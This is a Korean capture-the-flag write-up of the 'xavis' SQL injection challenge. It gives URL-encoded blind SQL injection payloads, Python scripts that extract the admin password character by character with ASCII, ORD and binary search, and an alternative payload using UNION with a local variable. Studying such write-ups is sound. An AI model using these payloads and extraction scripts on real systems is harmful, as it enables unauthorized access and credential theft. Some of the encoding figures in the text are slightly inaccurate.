xavis
문제에서 정규식을 통해 필터링 중인 문자는 아래와 같다.
- (
prob _ . () regex like)
이 문자들을 사용하지 않고pw파라미터에 우회 구문을 작성해야 한다.

우회 구문은 아래와 같이 작성할 수 있다.
홑따옴표(‘)가 필터링 되지 않기 때문에 쉽게 우회가 가능하다.
( 페이로드에 사용된 IS NOT NULL 은 패스워드가 NULL 값이 아닌 모든 행을 조회한다는 의미다. 근데 이제 id=admin 을 곁들인)
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20pw%20IS%20NOT%20NULL%20AND%20%271%27=%271
이후 LENGTH(…) 함수를 통해 admin 계정의 패스워드 길이는 12바이트로 구성되는 것을 확인했다.
(LENGTH 함수는 문자 기준이 아니라, 인자로 받은 값이 몇 BYTE로 구성되었는지를 반환)
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(pw)=12%20AND%20%271%27=%271
다음으로, 문자 1개는 4개의 바이트로 구성되는 것을 확인했다.
(문자 1개가 멀티바이트로 구성되므로 admin 계정의 패스워드가 UTF32 인코딩 된 한글/이모지 값임을 유추할 수 있다.)
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(SUBSTR(pw,1,1))=4%20AND%20%271%27=%271

패스워드 추출은 이전 문제들에서 사용한 자동화 스크립트를 재사용했다. (필요한 부분만 일부 수정)
( 그러나, 패스워드가 정상적으로 추출되지 않았따. ASCII 함수로 패스워드를 구성하는 각 문자들을 추출하면 10진수 0 값에 맵핑됐다. )
import requests
TRAGET_URL = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
for i in range(1, 13):
for j in range(0, 123):
URL = TRAGET_URL + f"?pw=%27%20OR%20id=%27admin%27%20AND%20ASCII(SUBSTR(pw,{i},1))={j}%20AND%20%271%27=%271"
res = requests.get(URL, cookies=COOKIE)
if "Hello admin" in res.text:
print(f"Extracted admin's password : {j}")
break
'''실행 결과
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
'''( ASCII 함수는 “앞 1 바이트”만 보기 때문에, 만약 멀티바이트로 구성된 문자(예를 들면 한글)가 오는 경우에 0 값이 반환될 수 있다. )
( 예를 들어, ‘가’ 라는 문자는 빅 엔디언으로는 '가'.encode(encoding='utf-32') → b'\x00\x00\xfe\xff\x00\x00\xac\x00' 로 표현된다. )
( \xff\xfe\x00\x00 는 문자가 아니고 어떤 엔디언인지 알려주는 표식(BOM(Byte Order Mark))이라고 한다. BOM은 항상 맨 앞에 온다. )
| 인코딩 | BOM |
|---|---|
| UTF-32BE | 00 00 FE FF |
| UTF-32LE | FF FE 00 00 |
UTF8, UTF16, UTF32, EUC-KR
유니코드에는 세 개의 대표적 문자 인코딩이 있는데 하나는 UTF-8이고, 다른 하나는 UTF-16, 마지막 하나는 UTF-32 이다. UTF-8은 1
4바이트 가변길이로 ASCII 문자는 1바이트, 한글은 3바이트를 사용한다. UTF-16은 24바이트 가변길이로 대부분의 문자는 2바이트(65,356개)를 사용하며, 일부 특수문자나 이모지는 4바이트를 사용한다. UTF-32는 4바이트 고정길이로 모든 문자를 4바이트로 표현한다.
MySQL에서는 여러가지 방식으로 값이 인코딩 될 수 있는데, 대표적으로 UTF8/16/32 방식이 사용된다.
만약 UTF-32 방식이 사용되면 모든 문자(한글, 영문, 숫자)는 4바이트로 표현되며 4바이트를 HEX 값으로 표현하면 ”?? ?? ?? ??” 로 길이가 8 이 된다. LENGTH(pw) 의 값이 12라는 것은 pw 컬럼에 저장된 값이 12바이트로 구성됐다는 의미다.
이전 과정에서 ASCII(SUBSTR(pw, {i}, 1)) 를 통해 112번째 문자를 ASCII 코드로 변환한 값을 확인했는데12번째 문자 모두 값이 0 이었다. ASCII 함수는 “문자”를 기준으로 앞 1바이트를 가져오는데 MySQL은 대개 빅 엔디언 형식으로 값을 저장한다.
1
만약, “가나다” 라는 값이 빅 엔디언 UTF32 형식으로 테이블에 저장되어 있다면 아래와 같은 구조를 띤다.
>>> '가나다'.encode(encoding='utf-32be')
b'\x00\x00\xac\x00\x00\x00\xb0\x98\x00\x00\xb2\xe4'SUBSTR(…) 함수는 바이트 기준이 아니라 문자를 기준으로 값을 가져오기 때문에 “가나다” 라는 값으로부터 문자를 잘라서 가져온다고 가정하면 가, 나, 다 각각 3개의 문자를 가져온다. 가, 나, 다는 빅 엔디언 방식 UTF32 인코딩으로 표현하면 아래와 같다.
- (
가 → \x00\x00\xac\x00 → \x00 / 나 → \x00\x00\xb0\x98 → \x00 / 다 → \x00\x00\xb2\xe4 → \x00)
여기서 ASCII 함수는 문자열의 가장 왼쪽 문자(1바이트)의 아스키 코드 값을 반환하기 때문에 모두 \x00 값만 사용된다.
그렇기 때문에 ASCII(SUBSTR(pw, {i}, 1)) 의 값이 모두 0이 반환된 것이다.
ASCII 함수는 항상 문자의 앞 1바이트만 가져오기 때문에 DB 테이블에 한글/이모지가 저장된 경우 원본 값을 뽑아낼 수 없다.
이러한 경우에 사용할 수 있는 함수가 ORD 함수다. 이 함수는 문자를 구성하는 모든 바이트를 가져오고 이를 10진수로 변환하여 출력한다.
예를 들면, ‘가’ 문자의 경우 UTF-32 방식에서 \x00\x00\xac\x00 이다. 이 값을 10진수로 변환하면 44032 가 된다.
다시 문제로 돌아와 간단한 테스트를 해보자. admin 계정의 패스워드 첫 번째 문자는 10진수로 표현하면 50864 였는데,
이 값을 다시 문자로 변환해보면 ‘우’ 에 해당한다. ( 50864는 UTF32-BE 방식으로 인코딩 된 ‘우’ 문자를 10진수로 변환한 값이다. )
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20ORD(SUBSTR(pw,1,1))=50864%20AND%20%271%27=%271
[ . . . ]
>>> chr(50864)
'우'

이제 파이썬 스크립트를 통해 admin 계정의 패스워드 추출을 진행한다.
이번에는 멀티바이트(2바이트 이상~)로 구성된 문자이기 때문에 값의 범위가 넓기 때문에 모든 10진수 값을 문자로 변환하면서 admin 계정의 패스워드를 찾으면 시간이 오래 소요된다. 이를 해결하기 위해 이진 탐색(Binary Search) 알고리즘을 추가했다. ( 시간 복잡도는 O(N) 에서 O(logN) 으로 감소된다. )
- (1) 앞선 과정에서
admin계정의 패스워드가 12바이트로 구성된 것을 확인했고 (LENGTH(pw)=12) - (2)
admin계정의 패스워드는 3개의 문자로 구성된 것을 확인했다. (따라서 각 문자는 4바이트로 구성된다.)
import requests
t_url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
for i in range(1, 4):
low = 1
high = 200000
while low <= high:
mid = (low + high) // 2
payload = (
f"?pw=%27%20OR%20id%3D%27admin%27%20AND%20ORD(SUBSTR(pw,{i},1))>{mid}%20AND%20%271%27=%271"
)
r = requests.get(t_url + payload, cookies=cookie)
if "Hello admin" in r.text:
low = mid + 1
else:
high = mid - 1
if low > high:
real_val = high + 1 # 실제 문자코드 확정
password = password + chr(real_val)
print(f"Extracted admins password : {password}")
break
'''실행 결과
Extracted admins password : 우
Extracted admins password : 우왕
Extracted admins password : 우왕굳
'''추출한 admin 계정의 패스워드를 입력해주면!!! XAVIS도 드디어 클리어했다.
- ① LENGTH(pw) : 찾으려는 값이 몇 바이트 값으로 구성됐는지 확인 (12바이트)
- ② LENGTH(SUBSTR(pw, {i}, 1)) : 찾으려는 값(문자열)이 각각 몇 바이트로 구성됐는지 확인 (4바이트, 4바이트, 4바이트)
- 따라서, 찾으려는 값은 4바이트 문자 3개로 구성된다는 정보를 획득
- ③ ORD(SUBSTR(pw, {i}, 1)) : 문자 1개씩(4바이트) 가져와 10진수로 변환한 후 이를 CHR(10진수 값) 으로 문자로 변환
- ④ 찾으려는 값은 “우왕굳” 이었음. 우왕ㅇ…

번외 (1)
- MySQL에서 인코딩 형식을 확인하려면
status명령어를 입력하면 된다.- (Client characterset: utf8mb4 → 가변-4바이트 UTF-8 문자열)
MariaDB [(none)]> status;
--------------
mysql from 11.8.3-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using EditLine wrapper
Connection id: 31
Current database:
Current user: root@localhost
SSL: Cipher in use is TLS_AES_256_GCM_SHA384, cert is OK
Current pager: less
Using outfile: ''
Using delimiter: ;
Server: MariaDB
Server version: 11.8.3-MariaDB-1+b1 from Debian -- Please help get to 10k stars at https://github.com/MariaDB/Server
Protocol version: 10
Connection: Localhost via UNIX socket
Server characterset: utf8mb4
Db characterset: utf8mb4
Client characterset: utf8mb4
Conn. characterset: utf8mb4
UNIX socket: /run/mysqld/mysqld.sock
Uptime: 12 min 50 sec번외 (2)
다른 분들의 풀이를 확인하니 UNION 절을 사용하면 간단하게 admin 계정의 패스워드를 확인할 수 있었다.
페이로드는 아래와 같은데, MySQL의 로컬 변수 선언 기능을 사용하는 방식이다.
- ① SQL문에서 로컬 변수(Local Variable)는 아래와 같이 선언하고 값을 할당할 수 있다.
SELECT @local_variable_name={임의 값}
- ② 이를 UNION 절과 연계하면 다음과 같이 활용할 수 있다.
select id from prob_xavis where id='admin' and pw='' or (SELECT @a:=pw WHERE id='admin' UNION SELECT @a)- (SELECT @a:=pw WHERE id=‘admin’) 쿼리에는 FROM 절이 없지만, 컬럼 참조가 가능하면 외부 쿼리의 row 컨텍스트를 그대로 사용하여 바깥 SELECT 문의 FROM 테이블을 암묵적으로 참조한다고 한다. (
SELECT @a := prob_xavis.pw WHERE prob_xavis.id = 'admin'으로 동작한다. )

🐛.. 🐛.. 🐛..